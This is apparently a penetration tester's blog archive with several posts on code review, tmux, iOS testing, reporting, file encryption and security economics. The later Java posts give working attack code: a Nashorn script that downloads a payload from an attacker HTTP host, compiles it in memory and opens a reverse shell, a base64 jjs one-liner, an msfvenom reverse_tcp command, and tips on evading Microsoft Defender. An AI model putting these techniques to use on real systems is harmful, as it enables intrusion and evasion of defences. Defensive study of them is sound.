Category Archives: Pentesting

Basic code review tools for Ruby

This blog post is to document how to get started analysing a Ruby code base for trivial security vulnerabilities. Particularly in the case, like me, when you have absolutely no ability in Ruby. If you are being asked to do an actual code review then I feel sorry for you dear reader. This will help you get started, but you cannot replace having developed something sizeable within the target language and elbow grease.

The sum total of my Ruby experience was my entirely unpopular module for metasploit a few years ago called “git_enum“. This is a post exploitation module which will seek to rob any stored git passwords or authentication tokens from a user’s home folder. I wanted to merge it into MSF but I am locked in anxiety about how awful that was to write, and assuming it will be laughed out of town if I dared try and contribute it!

I digress. My point was that I am not going to be getting scheduled on any Ruby source code reviews any time soon. The syntax is just alien enough to successfully spurn my interest.

This has been prompted by me having access to source code during an application test. This is a move from a black-box to white-box methodology to aid defence in depth recommendations to be made. There is no assumption that I am reading everything line by line. In saying that, when I have access to source code so I like to leverage automation where possible to maybe point toward weaknesses.

Overview of the process

  1. Obtain the source and save it locally
  2. Identify Static Code analysis tools for the target language
  3. Identify tools to check dependencies for known vulnerabilities

I don’t need to say much about 1. so I will move right on to discussing 2. and 3. below.

Static Code Analysis Tools for Ruby

There is almost always some very expensive commercial tool for doing automated static code analysis. They are probably very good at what they do. However, they always have eye watering license fees and I have never actually had the privilege of using one to find out!

As this is not a full code review you will likely have no budget and so you need to find open source projects that support your target language. A great place to start is this URL from OWASP:

I picked two tools from that list which were open source and which seemed active within the last 2 years of development:

Both were easy to install and use within a Kali host. The other tools may be as good but for me I had two static analysers and that was enough for me.

Brakeman installation and usage

gem install brakeman
brakeman -o brakeman_report.html /path/to/rails/application

Dawnscanner installation and usage

gem install dawnscanner 
dawn --file dawn_report.html --html /path/to/rails/application

Dependency Scanning Tool for Ruby

A dependency is an extension from the core language which has been made by a project and then made available for others to use. Most applications are made using dependencies because they save development time and therefore cost.

The downside of using dependencies is that they are shared by hundreds, thousands, or millions or of other applications. They therefore get scrutinised regularly and a vulnerable dependency can be a bad day for many sites at a single time. One thing you have to stay on top of is the version of dependencies in use and that is why it is an important check to make even if you are not doing a full code review.

The best dependency scanner out there is OWASP’s own Depedenency-check. This tool is getting better every time I use it. It integrates with more dependency management formats all the time. As per the URL below:

This is capable of doing Ruby but to do so it uses “bundler-audit“. For this one I went straight to Bundler-Audit.

Bundler-Audit Installation and Usage

gem install bundler-audit
cd /path/to/rails/application # folder where the Gemile.lock file is.
bundler-audit chec

I would include one vulnerability in my Report for the outdated dependencies which summarises in a table the known vulnerabilities and the CVSS risk rating taken from the CVE references from bundler-audit. If there are hundreds of known vulnerabilities you should prioritise and summarise further.

That is it for this blog post. You have to interpret the results yourselves.

Hope that helps.

Persistent SSH Sessions

If you win the lottery and start a job working as a penetration tester the chances are you will need to learn a couple of vital lessons sharpish. One that I like to drill into people is about SSH sessions that persist even if your client connection dies. A complete rookie mistake – that we all make – is to lose data when our SSH connection dies. Maybe the Wi-Fi disconnects or you close your laptop to go for lunch? Who knows.

Don’t blame yourself. The chances are you partly educated yourself and you were using either a Linux base machine or a VM. In that scenario your terminal lives as long as you want it to with no questions asked.

Now that you are on someone’s payroll the chances are you have a fancy “penetration testing lab” that you have to send connections through for legal reasons. While I like that I won’t lose my liberty it does introduce this complexity into our lives.


I am a relative noob to Tmux but it really seems to be worth the investment of time.

If I had a time machine I would get future me who understands Tmux completely to come and teach me. Maybe in a fancy silver car with a… I am gonna say it… *pffft*. Ok ok, calm down. In a fancy silver car with a tmux-capacitor! I know some of you liked that pun and that means you are as bad as me.

The absolute basics are these three commands:

tmux new -s <session_name>    # used to establish a new session.
tmux new -s customerA         # I name a session after the project for ease.
tmux ls                       # list the sessions that exist
tmux attach -t <session_name> # used to attach to your previous session
tmux attach -t customerA      # attaching back to the session created last time.

If you create a new session you can then kill your client SSH connection by disconnecting from Wi-Fi or whatever. On reconnecting when back online you attach to that and you have lost nothing (assuming the server has remained online and the issue was client side only).

For the purposes of this tutorial you have done all you need to do to prevent yourself losing work. Go you.

However, Tmux is capable of lots more things such as splitting an SSH session horizontally and/or vertically when you want to show two processes at once in a screenshot. Or what about having multiple “windows” in a single SSH session and a relatively easy way to move between those windows? Instead of having additional instances of Putty on windows or tabs in “MTPutty” you can do everything over a single SSH session inside of Tmux.

There is a full cheat sheet here.

Totally worth the learning curve.

Getting started with iOS testing

Jailbreak a device (At your own risk)

Disclaimer: I would never jailbreak a device that was going to carry my personal information. You should not either. It is absolutely at your own risk.

This blog post is about getting started with assessing iOS apps. I had not done this in a few years and so this is notes to bridge the past with modern which may be of use to you.

There is currently a stable root exploit called “checkra1n“. This works at the bootloader level and so long as you prevent your rooted handset from rebooting you will have a rooted handset. There is stable exploitation tools for Linux and now for Windows.

I use Windows as a host OS. I do this for many reasons but the simplest one is because Linux works better in a VM than windows does in my experience. I tried checkRa1n in a kali VM with the phone passed over USB directly to the VM. This was a dead end. The exploit process looked like it was working but it never completed, do not enter this cul-de-sac.

To get around that I could have tried the Windows exploit tools. But I selected to use “bootra1n“. This was a bootable USB Linux distro which included checkRa1n and it worked exactly as advertised.

Install the device via app store

  • Setup a test account without any of your real personal info.
  • Sign in to the app store, and then install your target app on the device.

There are other ways to install apps including “3uTools” (see section later). For me this did not work as my target app was not available in the app store they maintain. If your target is available for install then you will find an easier process where you don’t need to dump the IPA file as described in the next section.

Dump IPA file from handset

  • On Jailbroken Handset
    • Open Cydia and install “frida-server” as per this guide.
  • Inside a Kali VM (I used a VM, you can go barebones. Process did not work on Windows).
    • Install frida
pip install frida-tools
  • Inside Kali install “frida-ios-dump”
apt-get install libusbmuxd-tools
ssh -p 2222 root@localhost # leave yourself connected to this session
git clone
cd frida-ios-dump
pip install -r requirements.txt

Now all you need to do is run “” against your target as shown:

python3 <target_app_name>

To obtain the correct target app name use “frida-ps” as shown:

frida-ps -Uai

Getting MobSF The Quick Way

MobSF is an excellent tool for gathering some low hanging fruit. As a minimum I would advise throwing every IPA (and Android APK) through this for static analysis. It does a good job of finding strings which may be of use, as well as analysing permissions and other basics. This post is about getting you started and MobSF will be an excellent place to end this post.

Install docker as per this guide. Then after you have that up and running you can get access to MobSF using this:

docker pull opensecurity/mobile-security-framework-mobsf
docker run opensecurity/mobile-security-framework-mobsf

This will start an HTTP listener bound to which is great. But you need to know what IP address Docker just gave you. First list your running containers:

docker ps

Then use docker inspect with a grep to get that for you:

docker inspect <container_id> | grep IPAddress

Fire up your web browser at http://YOUR_IP:8000/ you can now upload the IPA file and it will give you that static analysis juice.


This is a beast which gets around having to install iTunes. A bit of software I have a ~15 year old past with which I frequently refer to as a “virus”. It is simply not possible for iTunes to be as shit as it is/was. Therefore, it must have been maliciously generated.

3uTools allowing you to dodge the virus that is iTunes

A lot (but not ALL) of apps from the app store are available for install using this. You will still need to supply legit app store creds to use that feature. If you can install using 3uTools then you get a super easy way to export the IPA file. But it only works on apps installed via 3uTools. In my case the app I needed to examine was in the app store, but not in the 3uTools equivalent.

Thats it from me, I am not going to rehash how to test an iOS app here as there are excellent resources explaining how to do that.

Your next steps would be to Google the heck out of these things:

Best of luck on your road to pwning iOS.


Pitfalls in Pentesting

In this post I am going to cover some pitfalls of Penetration Testing. It is kind of three rants stitched together. Loosely around the theme of how we generally interact with customers, as well as the reporting processes that I have seen over the last 15 years.

A person whose job it is to respond to penetration testing findings was asked this question:

  • What are the pain points you have experienced when responding to Penetration test findings?

This is what they said:

“…For my part, as an engineer that gets the fallout from these things I can tell you that I really hate that these scans report stuff that’s been fixed by back-porting by the suppliers. I’ve lost count of the number of times I’ve had to explain to SecOps, Managers and developers that the hundreds of “alerts” they have can be ignored because RedHat have already backported fixes not reflected in the reported version numbers. Time to get off one of my soap boxes!..”

— Anonymous fighter in the trenches

It is also worth noting that this was not a customer of ours.

I yelled “preach!”. Whoever this was I really love that they hit the nail on the head. I opened my most recent report where I had tackled that concern , I hope, adequately:

An except from a report

I hope that if the anonymous responder were to have seen my report. That they would at least see that I considered their plight, and that I have given them an easy out when responding to their manager. “Look, this guy even said it is possibly a false-positive”.

The target had a server banner which, if true, was vulnerable to several things. Unfortunately the OS was not listed in the banner (and was not otherwise 100% confirmed) so I could not prove or disprove the versions without either exploiting the issue, or being given more access. Had the banner said “RedHat” then I would most definitely have changed what I said. It would say there is a high potential that backporting was being used.

This set me off thinking again about how our industry often fails the customers we are paid to help.

If our industry has heroes they may or may not wear capes. But they almost definitely work on the blue side in my opinion. The brave souls tasked with the gargantuan task of interpreting penetration testing reports. From multiple consultants, from different vendors. The variability of output is enormous. These warriors have to find someway to make it work regardless of what thing has arrived as the deliverable.

I have seen Pentest companies who try to solve it in two ways:

  • Dictatorship – Based on one person’s vision you set a reporting standard.
    • You develop a rigid knowledge base of vulnerability write ups which tells everyone exactly how to report something. This includes fixed recommendations which must be provided.
    • You retrain every consultant in your team to meet that standard.
    • You yell at people during QA to remove any sense of individuality in reporting.
    • You fall out over CVSS risk ratings because “we need to risk this exactly the same way as the customer got an XSS which was 6.5 last week”.
    • Some Customers LOVE This. They don’t want any variability because the master spreadsheet they have with all vulns exists. They want the exact risk score for every instance of a vulnerability ever. They just like it neat.
    • The goal is to make every report as identical as possible across any customer and from any member of the team. Robotic Reporting.
  • Cheerful Anarchy – You set a baseline standard for reporting by providing a structure for the reporting and a style guide. Then you let folks have at it!
    • You accept that Pentesting is consultancy profession. Which is influenced by the experience of the consultant doing the work along with their understanding of the risk appetite for the customer.
    • You provide a basic knowledge base of vulnerability write ups which covers a consistent title, background, and baseline risk score. Then encourage the consultant to produce the remaining content just for that project.
    • You train your consultants to understand risk calculation and expect them to alter the baseline risk considering every instance they see.
    • The goal of this is to make every report tailored. Therefore inconsistencies will exist such as two consultants finding the same vulnerability with the same impact but providing different risk ratings.

Of the two I have always preferred cheerful anarchy. I know that some customers absolutely want a penetration test to deliver consistent results over time. It helps them sleep at night. I argue that a little anarchy might be good since the consultant should be free to express their opinions SO LONG AS THEY EXPLAIN THEM WELL ENOUGH.

In truth you need to essentially support both in 2020. Big accounts who want the consistency need to get it. Other customers who are perhaps in earlier stages of their security maturity processes should be given tailored findings in my opinion. They haven’t necessarily encountered an SQLi before, so you need to contextualise it a lot more. So I recommend being so flexible that you can be rigid… I suppose?

Places where a penetration tester needs to be super clear is when dealing with potential false-positives. If the only evidence you have is from a vulnerability scanner then you have not done a good job. I implore you to always find some other means of confirmation.

In situations where the vulnerability is raised only based on banners.. Then your flow is to:

  1. Find a working exploit. If you can, then try to exploit a docker container or VM with the same software first to verify the payload works well. Ask the customer if you can use the exploit. If you have done it in your lab first you can explain that it works well without a risk to stability. Otherwise you can warn them that it may trigger an outage. They can then make the decision themselves as it is their risk.
  2. If no exploit is available. If you can, then execute OS commands to verify the installed patch. In most cases you do not have this access. You can either document the finding with caveats (as my report did), or.. and I appreciate this is a revolutionary idea. You can ASK the customer to confirm the installed version themselves and provide a screenshot. In my case the time was not available to do so and I was forced into the caveat approach.

I know, I know. I suggested you speak to the customer! Worse still I say you should ask them to support you improving the quality of how you serve them. You should not forget that a Penetration Test is a consultation, and that you are on the customer’s team for the duration of the engagement.

They say you should never meet your heroes. But it has been going really well for me when I speak to them so far.

Hope that helps.

Encrypting files with openssl using a password

I needed to send an encrypted file to a user with a Mac. They were unable to install additional software on their machine, and I have no Mac to verify things on.

By default Mac’s roll with openssl installed (thanks Google), so the solution seemed to be to use that.

You can debate the encryption algorithm choice and substitute as appropriate. But the basic syntax for encryption and decryption using AES-256 is shown below:

Encrypt file with password

openssl enc -aes-256-cbc -iter 30 -salt -in report.pdf -out report.enc

Note: running this command will result in a prompt to enter the password, and confirmation.

Decrypt with password

openssl enc -aes-256-cbc -iter 30 -d -salt -in report.enc -out report-decrypted.pdf

Note: again this command will prompt for the password to be entered before extracting.

Warning; running with scissors

This is securing with a password. Go big or risk exposure here. Someone could always try brute force and you want to make sure that takes way way longer than the validity of the information you are protecting. I recommend 72,000 characters long as a minimum to be sure.

Now you have a key distribution problem though. How to get the password to the other person securely? You cannot email them the password since this is the same delivery mechanism for my scenario.

  • Generally WhatsApp (or other end to end encrypted chat client to a mobile phone) is good.
  • Phoning and saying a long password can be awkward but works (so long as they promise to eat the paper they write the password on immediately).
  • SMS is less secure but still verifies that the user is in possession of that person’s phone.

Hope that helps.

Retiring old vulns

There I was finding a lovely Cross Site Scripting (XSS) vulnerability in a customer site today. Complete beauty in the HTTP 404 response via the folder/script name. So I started to write that up.

I peered at the passive results from Burp Suite and noticed a distinct lack of a vulnerability I was expecting to see:

I looked at the HTTP headers and saw this peering back at me:

X-XSS-Protection: 1; mode=block

Burp was correct not to raise that issue because it detects where that very header is insecurely set or non existent.

For the uninitiated the “X-XSS-Protection” header is supposed to tell web browsers to inspect content from the HTTP request which is then present in the immediate response. It had a laudable goal to make reflected XSS a thing of the past, or at least harder to exploit.

Chrome liked it so much it defaulted to having it enabled. Even if the server didn’t bother setting it. This caused much consternation.

Stawp making the world safer Google… Jeez!

I thought ah this is my testing browser (Firefox) I must have overridden the XSS filter.

  • So I try in Chrome.. *pop pop*.
  • So I try in Edge.. *pop pop*.

I think I google “Is X-XSS-Protection still a thing?” and stumble across this nugget:


No. It is not a thing. Has not been a thing for a little while.

The modern approach is to ensure that you use robust Content-Security-Policy settings. The radical approach is to prevent XSS by secure coding practices which will just never ever catch on.

Security tools and scanners including: nikto, burp suite, and nessus all still pull this header out as something to be reported on. Does it have any real relevance if user-agents simply ignore it now?

It may impact older browsers. But generally when you are talking about any web browser that is old. There will be some way to completely control the victim’s computer. Logically you should only concern yourself with where the herd is running at today.

My approach is to take this out the back to put it out of its misery with a few rounds through the head(er). Then I will stuff it and mount it onto my wall next to “Password Field with autocomplete enabled”. Which is itself deprecated based on browsers also choosing to ignore it.

Time rolls on and standards change. Lets have a round of applause for good old “X-XSS-Protection”. It has been a good sport. A brilliant contender but sadly it never truly saw its potential realised because Arsenal kept buying replacement wingers. It never got any game time.

Uploading files when all else fails: rdpupload

The short version:

  • A tool which works in Linux and Windows which will “upload” a file to an RDP or other remote session where copy and paste or drag and drop are disabled.

Get the tool here:


This is a very old technique. All I have done is have a stab at making my own tool for doing this. I meet aspiring hackers who say they want to jump into coding, but don’t have any “ideas”. They seem unimpressed when I say write a port scanner.

If that is you then I say to you: re-invent the damn wheel!

Sometimes the wheel needs upgrading you know? Many of the tools we have now as the “goto” for something are about 17th in newness of technique. Any tool can be toppled by a better successor.

But world domination is not the goal. Implementing your own versions of old ideas is actually just for getting your skills in for the day you invent an entirely new wheel. It also teaches you how a thing works which is brilliant. At a job interview you will stand out if you actually know what the top tool does under the hood.

What I learned on this one

To make rdpupload I have learned:

  • argparse better (I have used this before)
  • how to simulate key presses in python
  • how to do a progress bar in a CLI
  • how to zip a file using python
  • how to play an mp3 in python (though it didn’t work on Windows, yolo).

But most importantly I learned how a file upload may work by typing it, along with how to decode that on the server side easily.

Technique Used

The following summarises the techniques used:

Attacker Side:

  1. Zip the file you want to upload (might save some characters depending on the file).
  2. Base64 encode that file (so every character we are going to use is available on a standard English Keyboard).
  3. Split the encoded file into chunks of size 256 characters (arbitrary length choice here).
  4. Spoof a keyboard typing each block of 256 characters until it is completed.
  5. Display a progress bar and optionally play the sound of a typewriter hammering away while the “upload” happens.

Victim Side:

  1. Place the cursor into “Notepad” within an RDP session.
  2. When the “upload” is complete save that as a “.txt” file.
  3. Open a command prompt and use “certutil.exe” to decode the base64 encoded file. The syntax for that is shown below.
  4. Use the zip feature of Windows to unpack the zip file.
  5. Profit.

The decoder on the server side relies on “certutil.exe”. Unless I am wrong this is available from Server 2003 upwards so is pretty useful for most use cases.

Syntax: certutil -decode &amp;amp;lt;inputfile&amp;amp;gt; &amp;amp;lt;outputfile&amp;amp;gt;

Example: certutil -decode nc.txt

The decode command is also spat out on the Kali side for convenience once the upload is complete.

Economics of Cyber Security

Everything in life boils down to economics. When there is a decision you can either go with your heart or go with your purse/wallet. But I wager that even following your heart there is a part of you which weighs up the cost-benefit implicitly.

When you are looking at security you have a budget and you have business goals and needs and you have to figure out where to spend it. In this post I am tying together a couple of thoughts on how thinking in economics with your brain instead of your gut affects security thinking. It is mostly rambling so this is my personal blog.

Why did I do this?

I was prompted to write this today because of a tweet by the Scotsman:

Firstly I haven’t bothered to read the article. But I would like to point out literally nobody is “cruising” to England. They can actually walk over bridges in places or take a 5 minute bus. That is the beauty of a friction-less border with free trade.

All about incentives

Understanding what motivates people is vital. This will help you when dealing with people. Think about what they are trying to do and see if you can frame the conversation such that you both get what you need.

I keep pondering this quote more and more:

“It is difficult to get a man to understand something, when his salary depends on his not understanding it.”

— Upton Sinclair

To widen the scope of this post a lot, lets stare at man made climate change. The grandest stage we have is wiping out the planet’s ability to sustain human life. In part due to the economics encouraging people to look the other way. It is all about incentives from where to buy your beer right up continuing doing what you are doing despite mounting evidence that it is killing the planet.

Relating incentives back to the Scotsman’s article. By increasing the duty on alcohol (a so called “Sin tax”) the Scottish government has placed an economic incentive to “drink less”. By making things more expensive people will either be unable to afford to drink as much, or will simply make different choices.

How is this about Cyber Security?

The policy of varying tax to discourage/encourage specific behaviours is a relatable story. The response of consumers has resulted in fewer units being sold. An enterprising band of consumers have identified a niche where, presumably, they live close enough to the border for it to be in their economic interests at the moment to go to England.

Boil this story down to the basics and translate to Cyber Security:

  1. A problem was identified (too many units being consumed) and a solution was put in place to reduce the risk (economic sanctions).
  2. Attackers evaluated the situation and found an avenue which was economical enough for them to make a buck (vulnerability detected).
  3. Attackers exploited that (vulnerability exploited)

There is a relationship between the sin tax approach and Data Breach fines in that they have similar effects. However, a tax is something which always applies and the fine only happens when a breach occurs. You can try and roll a dice and see if you avoid a breach for another financial year. You cannot avoid the tax within Scottish jurisdiction.

Budget, fines, and broken business models

I could not put it better than this belter of a tweet by a person I do not know at all called Dylan (hi Dylan *waves*):

With a name like Dylan he is obviously a wordsmith, I salute you sir.

This perfectly captures for me the economics of cyber security. Increasingly the choice is to do security competently or worry about paying fines. While there is a hint of Fear Uncertainty and Doubt (FUD) about this I think the general idea is right here.

With the first GDPR based fines clearing the system it is obvious that the new regime is just how life is going to be going forward. So while it is distinctly “fuddy” you cannot deny that this FUD is based in reality.

A fine is a threat which is seeking to alter behaviour. “You do this or else!”. If you sufficiently fear the else part then economics states that you should shape up.

Economics of Attackers

The economics for an attacker are pretty simple. They will exploit a target IF they find a vulnerability that:

  • has sufficient economic gain when exploited (worth doing)
  • for which the likelihood of being caught or the disincentive of the punishment is acceptable to them (attackers accept risks too :D)
  • and the investment of effort to exploit is within their skill
  • and the attacker has enough resources to devote to exploiting it (in terms of time and tools).

When all of these items are met there is an incentive and motivation for the attacker and the target will get exploited.

Economics of Defenders

Assume some theoretical system which is absolutely secure. That system would likely be absolutely useless to users. Security is the art of safeguarding without rendering something unusable.

What we need to attain is a standard of assurance equivalent with the risks that are realistic. Starting from the situation that in reality nothing is 100% secure it takes the pressure off a little bit. Now that the band-aid has been pulled off lets limit the bleeding.

First, understand the systems you have and the data they process. Determine the value of that data. When you process data valuable on the black market then the risks of attack go up.

Secondly, understand who your adversaries are. There is an entire blog post on its own about the levels of adversaries that I need to write. But in brief lets say this:

  • Untargeted automated attackers – these do not care who you are, or know anything about your business interests. Typically a functional exploit for some outdated software or default credentials will be put into a scanner which simply tries to exploit every IP address on the Internet.
  • Script Kiddies – these attackers will be targeting you specifically with a human behind the effort. They can use existing exploits and tools to enable password guessing but will be unlikely to develop new tools or attack in a sophisticated manner.
  • Organised Criminal attackers – if you are handling information which has value on the black market, or if you process credit card transactions etc then you will be on their radar. They may use “Phishing” or social engineering to exploit your staff and many will have “Zero Day” vulnerabilities which are often traded illegally. They will attempt to exploit you with ransomware and use anything else that can gain money.
  • Politically Motivated attackers – if your organisation has ever been protested, or if you trade across borders which have friction you may be targeted by this class of attacker. Frequently they will deploy techniques to disrupt your business such as denial of service or anything to get their agenda into the news. At the extreme end of this category you can expect your data to be stolen and published online by wikileaks.
  • Nation states – If you operate between borders which have friction, deliver projects for a government, or have access to people/data of interest to nation states. Then you can pretty much expect to be targeted sooner or later. What we have learned about their tactics is that they will have “Zero Day” exploits, and significant resources at their disposal.

A lot is written about “Zero Days”. I will say for the bulk of companies nobody is looking to waste a valuable exploit on you. There is also very little you can do to proactively defend against them since the vendor you use does not have a patch available.

With security the basics really are: Patch everything all the time, ensure no default or weak passwords are set, and engage with an offensive security partner to simulate the reasonable risks you face. For the bulk of you that means penetration testing, for those with mature cyber security practices in-house that may mean red teaming.

Full disclosure: I am a penetration tester and red teamer by trade. So that last recommendation is not free of bias if you think about what I just wrote cynically. However, I believe what I do every day genuinely helps customers. Note: I did not say you come to ME for these services. I said that you find a security partner with those skills period.

Before you insure your house you get a valuation right? The two-steps above in summary were:

  1. Get a valuation for the data you horde.
  2. Understand who will attack you and how to arrive at your level of cover.

Now with that out of the way. The economics of defence is to ensure that you make yourself as prickly as possible to deter attackers. While nothing is 100% secure what you want to do is raise the bar beyond low-skilled attackers as the minimum.

As with the “Sin Tax” you are trying to reduce the incentive to the attacker to exploit you. By increasing the amount of time and tooling required you will reduce the pool of attackers.

Have you ever seen one of the many segments on TV where an ex-offender looks at a home and gives advice on how to secure it from robbers? It is the exact same advice here. You want the robber to not see you as a soft touch and you want them to walk down the street to someone who is.

Well, dear reader, I think that is enough for today on the economics of cyber security. I think we covered incentives and how attack and defence is really just like choosing where you buy your beer.

Java Stager without the Stager

I have been doing a lot of playing with Java recently. In fact, this will be the 3rd blog post in a month.

In this post I sought to merge the two threads and move away from “Java-Stager” to deliver the same payload via Nashorn.

Why bother?

If we revisit the goals of a stager, then you should see why this is significant:

  • Stager is a binary or script which is uploaded to the victim.
  • The stager needs to be benign in general to survive cursory analysis.
  • The stager then downloads the actual payload over HTTP straight into memory where it is hidden from lots of AV solutions.

The technique of hiding in memory is based on the work of James Williams with his “too hot for the Internet” video available here:

An AV vendor made a copyright claim which had the video pulled temporarily. Then because of that becoming a much bigger story it currently has 32k views. Which is about 30k more than the next most popular video from this year’s BSides Manchester.

The Stager jar file was a weak point of the Java-Stager post. While that is designed to be a proof of concept. It is true that uploading the jar file to Virus Total would probably see it being killed by AV within a few days.

By the end of this post we will have the functionality of Java Stager where everything pretty much happens in memory, and the “Stager” is now an Oracle signed binary which is part of the Java Runtime Environment.

Nashorn Payload

Now that I have a lovely Nashorn engine to play with I have implemented the same reverse shell over TCP which was given out with Java-Stager:

The following shows how to achieve the same results using only Nashorn code:

// Change this to point to your host
var host = "http:///";

// Load the NnClassLoader over HTTP 
load(host + "NnClassLoader.js");

// Use NnClassLoader to download Janino and Apache commons over HTTP
// Obtain these Jar files and stick them in your web root
var L = new NnClassLoader({ urls: [host + 'janino-3.0.8.jar', host + 'commons-compiler-3.0.8.jar']});
var P = L.type('org.codehaus.janino.SimpleCompiler');
var SimpleCompiler = L.type("org.codehaus.janino.SimpleCompiler");

// Import all the Objects that we need
var BufferedReader = Java.type("");
var InputStreamReader = Java.type("");
var StringReader = Java.type("");
var StringBuffer = Java.type("java.lang.StringBuffer");
var Method = Java.type("java.lang.reflect.Method");
var URL = Java.type("");
var URLConnection = Java.type("");

// Place Java-Stager's file at root of web server.
// This code downloads the payload over HTTP
var payloadServer = new URL(host + "");
var yc = payloadServer.openConnection();
var ins = new BufferedReader(new InputStreamReader(yc.getInputStream()));
// Read the code into memory in a string
var inputLine;
var payloadCode = new StringBuffer();
while ((inputLine = ins.readLine()) != null) {
   payloadCode.append(inputLine + "\n");
// Be tidy and close the input stream.
print("[*] Downloaded payload");

// Compile it using Janino
print("[*] Compiling ....");
var compiler = new SimpleCompiler();
compiler.cook(new StringReader(payloadCode.toString()));
var compiled = compiler.getClassLoader().loadClass("Payload") ;

// Execute "Run" method using reflection
print("[*] Executing ....");
var runMeth = compiled.getMethod("Run");
// This form of invoke works when "Run" is static

print("[*] Payload, payloading ....");

Hopefully the comments clear up how that works. It basically does this:

  • Download over HTTP the “NnClassLoader.js” library which allows custom class loading.
  • Download the two java libraries required (janino, and commons-compiler). These are required for compilation in memory.
  • Download the payload over HTTP and save it into memory.
  • Compile the payload in memory.
  • Use reflection to execute the “Run” method of the “Payload” object to trigger the payload.

Pretty much the same process as before.

Preparing Attacker’s Server

Start an HTTP listener containing the following files in the web root:

  • NnClassLoader – Available from reference [1]
  • janino-3.0.8.jar – Available from reference [2]
  • commons-compiler-3.0.8.jar – Available from reference [3]
  • java – The same payload I made for Java-Stager works.

Then you start a metasploit multi/handler with the payload set to “generic/shell_reverse_tcp”. With the extra option “set ExitOnSession false” enabled the listener will remain active beyond the first victim connecting back.

Exploiting your victim

Obviously, do not do this on a machine that you are not legally allowed to. This is for research purposes only.

Caveat in mind? Good. All you do is take a copy of the Nashorn payload (shown above) and paste it into a text editor on your “victim”. Then all you need to do is:

  • Set the value of “host” to point to your HTTP listener
  • Save the above to disk as for example “revshell.js”

There are then three ways to run the “revshell.js” using jjs:

# As argument to jjs
jjs path/to/revshell.js

The pros of this is that it is damn easy. To find the cons look at the output Sysinternals process explorer. There you will see that this leaves an obvious path to the payload:


Which isn’t brilliant. The second way is to use “echo” to spoof sending stdin data to the jjs command prompt interface:

# echo spoofing stdin
echo load(“path/to/revshell.js”) | jjs

Looking at process explorer again shows that we have hidden the location of the payload:


The final method is to just use the command prompt interface and then issue the load command:

# launching jjs as shell and then loading it
jjs> load(“path/to/revshell.js”)

This again gets a clean looking output from process monitor which isn’t surprising since the last two are equivalent.

Doing it all in memory *

Now these are fine, but you are committing to saving a file on disk. If you want to do it all in memory, then you can:

  • Upload your “revshell.js” to your HTTP listener and then use “load()”.
  • Or paste the program line by line into the command prompt interface.

These both worked for me. But the final way of doing it is to Base64 encode your payload and then paste a 1 liner into jjs to make it work. To keep this as a “no tools on your victim” hack I would suggest using an online encoder for example:

Or you have options in powershell, certutil to encode base64 on Windows, and equivalent options in Linux.

Once you have a base64 encoded version of the payload just paste it into the one liner shown below over “ENCODED_TEXT”:

echo eval(new java.lang.String(java.util.Base64.decoder.decode('ENCODED_TEXT'))); | jjs

This will do it in a one liner in memory. It will execute within the context of a binary signed by Oracle (jjs.exe), and. it will hide the input parameters from Process Explorer on Windows.

* Ok some of it touches disk

Using Systinternals process monitor with the filters set as shown:


I discovered that our jjs process (in this case with PID 3504) created some temporary files:


These are files created by “NnClassLoader”. They are local copies of the two dependencies “janino” and “commons-compiler”. These are NOT malicious and should pass any scrutiny since they are not from nefarious sources.

I think they are an improvement over my PoC Java-Stager which is toasted the second that someone uploads it to Virus total.

Put it together and what have you got?

Here is the Attacker setup and it catching the reverse shell back:


Here is the Victim executing the payload using the echo trick with Base64 encoding:


So that worked absolutely fine. Bibbity, bobbity, boo!

Trying to trigger AV Alerts

The payload used by Java-Stager and this Nashorn example are currently useful against, I would guess, most Anti-Virus solutions. The reasons being:

  • Most of what they do is in memory, a classic place to hide.
  • The payload has been written by me. The all time most effective AV bypass is to just write your own payload. If the customer’s AV solution has no signature to match against then you will get by long enough to finish up your engagement in most cases.

With those reasons stated I wanted to TRY and trigger an AV response out of a fully up-to-date Microsoft Defender. I hold Defender in high regard personally but that is just an opinion. So lets finish the post by using Eicar to trigger alerts.

Loading Eicar

In my target VM I tried using “load” to obtain a copy of the eicar string:


It downloaded into memory without issue but failed to execute because it isn’t valid JavaScript. No alert was raised, proving that on access scanning failed to find Eicar using in the same place we are hiding our payloads.

To trigger an actual alert because of Eicar I had to use Java to save the string to disk as shown:


The moment “fw.close()” was called Defender alerted on Eicar as expected.

Once more unto the breach

This is my final check I promise. As I was wrapping this up I thought that the Eicar string is really intended to be a file. It hardly ever gets any scrutiny in memory. It makes sense that it wasn’t caught one way but it was the other.

One final test I generated a straight unencoded payload using msfvenom as shown:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f asp > shell.asp

Then I downloaded it using the “load” command:


Again it wasn’t caught by Defender and again it failed to then execute because it was not a JavaScript file. Not really sure what more I should be doing to try and trigger an alert than trying a pure msfvenom payload.

There you have it. A living off the land binary which you can use to do things merely by copy/paste giving you new options for evading the blue team.



Java gives a Shell for everything

Did you know that Java has shipped with a JavaScript engine which executes in memory and has been around for years? Well it does and it has. This rambling tale is about how I came about it over two engagements.

Tl;dr – the highlights of this post are:

  • Universal scripting capability via Java Runtime Environment (JRE)
  • Allowing in-memory only payloads
  • Great options for bind and reverse shells
  • For the red team connoisseurs a commonly available living off the land binary for all the above

Initial Discovery

On an engagement at the end of 2017 I was enumerating what I had to play with on a customers Workstation.

As part of build reviews I like to find:

  • Command prompts – cmd.exe, powershell.exe, ftp.exe etc; and
  • Scripting engines – powershell.exe, cscript.exe etc

This is standard practice at the start of enumeration really.

Looking in the “/bin” folder of the Java Runtime Environment (JRE) configured on the workstation I came across “jjs.exe”. This actually turned out to suit both purposes.

Using jjs.exe to get a command prompt on your workstation

Caveat; I am going to assume that binary white listing, and careful setup would neuter the technique. However, my target had none of that so I got to run wild. Lets stick to what I do know.

Double click on “jjs.exe” and you will get a command prompt interface as shown:


This is not terribly friendly because it doesn’t have any help baked in. A little reading around about what jjs is on Oracle’s website pointed out this was a JavaScript prompt. What is better is that it can call Java objects, as per reference [1]. That has an excellent write-up of how to call Java objects.

The following code can be used to achieve a slightly broken command prompt interface through jjs:

var pb = new java.lang.ProcessBuilder("cmd.exe","/k");

Then lets look at what I mean by slightly broken command prompt:


Initially you can see that there is no pass through of commands to “cmd.exe” so you cannot get the hostname. Then after pasting in the code and executing it you can see that every other line of input gets you command execution. Beggars cannot be choosers, this was better than no command prompt at all.

I filed it under a minor point of interest. Within the context of a locked down workstation you might have luck with this where other things have failed. If you get a crumb out of that be sure to ping me on Twitter (@cornerpirate) because I would love to know.

The rest of this post moves into different contexts entirely. An internal pentest where I needed to get a bind shell out of it.

Doing more with jjs.exe

